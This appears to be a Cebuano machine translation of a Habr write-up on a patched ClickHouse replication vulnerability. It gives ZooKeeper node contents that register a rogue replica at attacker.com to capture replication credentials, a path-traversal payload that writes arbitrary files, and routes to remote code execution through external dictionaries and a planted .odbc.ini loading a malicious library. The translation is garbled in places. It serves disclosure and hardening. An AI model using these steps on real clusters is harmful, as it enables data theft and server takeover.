
Kini nga artikulo maghisgot sa usa ka piho nga kahuyangan sa ClickHouse replication protocol ug magpakita kung giunsa pagpalapad ang attack surface.
Ang ClickHouse usa ka database para sa pagtipig og daghang datos, kasagaran gamit ang labaw sa usa ka replica. Ang clustering ug replication sa ClickHouse gitukod ibabaw sa (ZK) ug nanginahanglan og mga permiso sa pagsulat.
Ang default nga pag-instalar sa ZK wala magkinahanglan og authentication, busa liboan ka mga ZK server nga gigamit para sa Kafka, Hadoop, ClickHouse configuration ang anaa na sa publiko.
Aron makunhuran ang imong attack surface, kinahanglan nimo kanunay nga i-configure ang authentication ug authorization kung mag-install sa ZooKeeper.
Siyempre adunay pipila ka 0days nga gibase sa Java deserialization, apan handurawa nga ang usa ka tig-atake makabasa ug makasulat sa ZooKeeper nga gigamit alang sa ClickHouse replication.
Kon i-configure sa cluster mode, ang ClickHouse mosuporta sa mga distributed query. , nga moagi sa ZK - para nila, ang mga node gihimo sa dahon /clickhouse/task_queue/ddl.
Pananglitan, maghimo ka og node /clickhouse/task_queue/ddl/query-0001 uban sa mga sulod:
version: 1
query: DROP TABLE xxx ON CLUSTER test;
hosts: ['host1:9000', 'host2:9000']Human niini, ang test table papason sa mga cluster server nga host1 ug host2. Gisuportahan usab sa DDL ang pagpadagan sa CREATE/ALTER/DROP queries.
Makahadlok paminawon? Apan asa man makuha sa usa ka tig-atake ang mga address sa server?
mogana sa lebel sa indibidwal nga mga lamesa, busa kung ang usa ka lamesa gihimo sa ZK, ang server nga maoy responsable sa pagbayloay og metadata uban sa mga replika ang gitino. Pananglitan, kung mopatuman og pangutana (kinahanglan nga i-configure ang ZK, chXX — ang ngalan sa replika, foobar — ngalan sa lamesa):
CREATE TABLE foobar
(
`action_id` UInt32 DEFAULT toUInt32(0),
`status` String
)
ENGINE=ReplicatedMergeTree(
'/clickhouse/tables/01-01/foobar/', 'chXX')
ORDER BY action_id;ang mga node pagahimoon mga haligi и Metadata.
Kontento /clickhouse/tables/01/foobar/replicas/chXX/hosts:
host: chXX-address
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: httpPosible ba nga i-merge ang data gikan niini nga cluster? Oo, kung ang replication port (TCP/9009) sa server chXX-address Dili masirado ang firewall ug dili ma-configure ang authentication para sa replication. Unsaon nako pag-bypass ang authentication?
Ang usa ka tig-atake makahimo og bag-ong replika sa ZK pinaagi lang sa pagkopya sa mga sulod gikan sa /clickhouse/tables/01-01/foobar/replicas/chXX ug pagbag-o sa kahulugan host.
Kontento /clickhouse/tables/01–01/foobar/replicas/attacker/host:
host: attacker.com
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: httpDayon kinahanglan nimong sultihan ang ubang mga replica nga adunay bag-ong bloke sa datos sa server sa tig-atake nga kinahanglan nilang kuhaon - usa ka node ang gihimo sa ZK. /clickhouse/tables/01-01/foobar/log/log-00000000XX (Ang XX usa ka monotonikong nagkataas nga counter nga kinahanglan mas dako kay sa katapusan sa event log):
format version: 4
create_time: 2019-07-31 09:37:42
source replica: attacker
block_id: all_7192349136365807998_13893666115934954449
get
all_0_0_2diin tinubdan_nga_replika — ang ngalan sa replika sa tig-atake nga gihimo sa miaging lakang, block_id — pang-ila sa bloke sa datos, og — ang sugo nga "kuhaa ang bloke" (usa ka ).
Sunod, ang matag replica mobasa sa bag-ong event sa log ug moadto sa server nga kontrolado sa attacker aron makadawat sa data block (ang replication protocol kay binary, nga modagan pinaagi sa HTTP). attacker.com makadawat og mga hangyo:
POST /?endpoint=DataPartsExchange:/clickhouse/tables/01-01/default/foobar/replicas/chXX&part=all_0_0_2&compress=false HTTP/1.1
Host: attacker.com
Authorization: XXXDiin ang XXX mao ang datos sa pag-authenticate para sa replication. Sa pipila ka mga kaso, kini mahimong usa ka account nga adunay access sa database pinaagi sa ClickHouse core protocol ug HTTP. Sama sa imong nakita, ang attack surface nahimong dako kaayo tungod kay ang ZooKeeper, nga gigamit para sa replication, wala nay na-configure nga authentication.
Atong tan-awon ang function para sa pagkuha og data block gikan sa usa ka replica; kini gisulat uban ang bug-os nga pagsalig nga ang tanang replica naa sa hustong kontrol ug adunay pagsalig tali kanila.

kodigo sa pagproseso sa replikasyon
Ang function mobasa sa lista sa mga file, dayon ang ilang mga ngalan, gidak-on, ug mga sulod, ug dayon isulat kini sa file system. Angayan nga ihulagway nga gilain kung giunsa pagtipig ang datos sa file system.
Adunay daghang mga subdirektoryo sa /var/lib/clickhouse (default nga direktoryo sa pagtipig gikan sa configuration file):
bandila — direktoryo para sa pagrekord , gigamit sa pagbawi sa nawala nga datos;
tmp — direktoryo alang sa pagtipig sa temporaryo nga mga file;
mga_file_sa_tiggamit — ang mga operasyon nga adunay mga file sa mga hangyo limitado niini nga direktoryo (INTO OUTFILE ug uban pa);
Metadata — mga sql file nga adunay mga deskripsyon sa lamesa;
mga preprocessed_config — giproseso nga mga derivative configuration file gikan sa /etc/clickhouse-server;
nga data — ang aktuwal nga direktoryo nga adunay datos mismo, sa kini nga kaso, usa ka lahi nga subdirektoryo ang gihimo alang sa matag database dinhi (pananglitan /var/lib/clickhouse/data/default).
Alang sa matag lamesa, usa ka subdirectory ang gihimo sa direktoryo sa database. Ang matag kolum usa ka lahi nga file depende sa Pananglitan, para sa usa ka lamesa foobar, nga gibuhat sa tig-atake, ang mosunod nga mga file himoon:
action_id.bin
action_id.mrk2
checksums.txt
columns.txt
count.txt
primary.idx
status.bin
status.mrk2Ang replica nagdahom nga makadawat og mga file nga parehas og ngalan kon moproseso og data block ug dili kini i-validate sa bisan unsang paagi.
Ang matinagdanon nga magbabasa lagmit nakadungog na bahin sa dili luwas nga pagdugtong sa file_name sa function. WriteBufferFromFileOo, kini nagtugot sa usa ka tig-atake sa pagsulat og bisan unsang sulud sa bisan unsang file sa file system nga adunay mga katungod sa tiggamit. clickhouseAron mahimo kini, ang replica nga kontrolado sa tig-atake kinahanglan nga mobalik sa mosunod nga tubag sa hangyo (gidugang ang mga line break para mas sayon sabton):
x01
x00x00x00x00x00x00x00x24
../../../../../../../../../tmp/pwned
x12x00x00x00x00x00x00x00
hellofromzookeeperug human sa pagdugtong ../../../../../../../../../tmp/pwned ang file isulat /tmp/pwned uban sa sulod hellofromzookeeper.
Adunay daghang mga kapilian para sa paghimo sa pagsulat sa file ngadto sa remote code execution (RCE).
Mga eksternal nga diksyonaryo sa RCE
Sa mas daan nga mga bersyon, ang direktoryo sa mga setting sa ClickHouse gitipigan uban ang mga katungod sa tiggamit. clickhouse pinaagi sa default. Ang mga setting file kay mga XML file nga mabasa sa serbisyo sa pagsugod ug dayon i-cache /var/lib/clickhouse/preprocessed_configsKon adunay mga pagbag-o nga nahimo, kini basahon pag-usab. Kon ikaw adunay access sa /etc/clickhouse-server ang usa ka tig-atake makahimo sa iyang kaugalingon executable type, ug dayon i-execute ang arbitrary code. Ang kasamtangang mga bersyon sa ClickHouse dili mohatag niini nga mga permiso pinaagi sa default, apan kung ang server hinay-hinay nga gi-update, ang maong mga permiso mahimong anaa gihapon. Kung nagmentinar ka og ClickHouse cluster, susiha ang mga permiso sa settings directory; kinahanglan nga kini gipanag-iya sa user. root.
ODBC sa RCE
Sa pag-instalar og pakete, usa ka tiggamit ang gihimo clickhouse, apan ang home directory niini wala pa nahimo /nonexistentApan, kon mogamit og eksternal nga mga diksyonaryo, o sa ubang mga rason, ang mga administrador mohimo og katalogo /nonexistent ug ihatag sa tiggamit clickhouse pagsulat og access niini (SSZB! gibanabana. tighubad).
Mga suporta sa ClickHouse ug makakonekta sa ubang mga database. Sa ODBC, mahimo nimong ipiho ang agianan padulong sa librarya gamit ang database driver (.so). Ang mga daan nga bersyon sa ClickHouse nagtugot niini nga buhaton direkta sa query handler, apan karon mas estrikto nga pagsusi sa connection string ang nadugang sa odbc-bridge, busa imposible na karon nga ipiho ang agianan sa drayber gikan sa usa ka hangyo. Apan mahimo ba nga ang usa ka tig-atake makasulat sa home directory gamit ang kahuyangan nga gihulagway sa ibabaw?
Maghimo ta og file ~/.odbc.ini nga adunay sulod nga sama niini:
[lalala]
Driver=/var/lib/clickhouse/user_files/test.sounya sa pagsugod SELECT * FROM odbc('DSN=lalala', 'test', 'test'); ang librarya ma-load test.so ug nakadawat og RCE (salamat (para sa tip).
Kini ug uban pang mga kahuyangan naayo na sa ClickHouse nga bersyon 19.14.3. Atimana ang imong ClickHouse ug ZooKeepers!
Source: www.habr.com
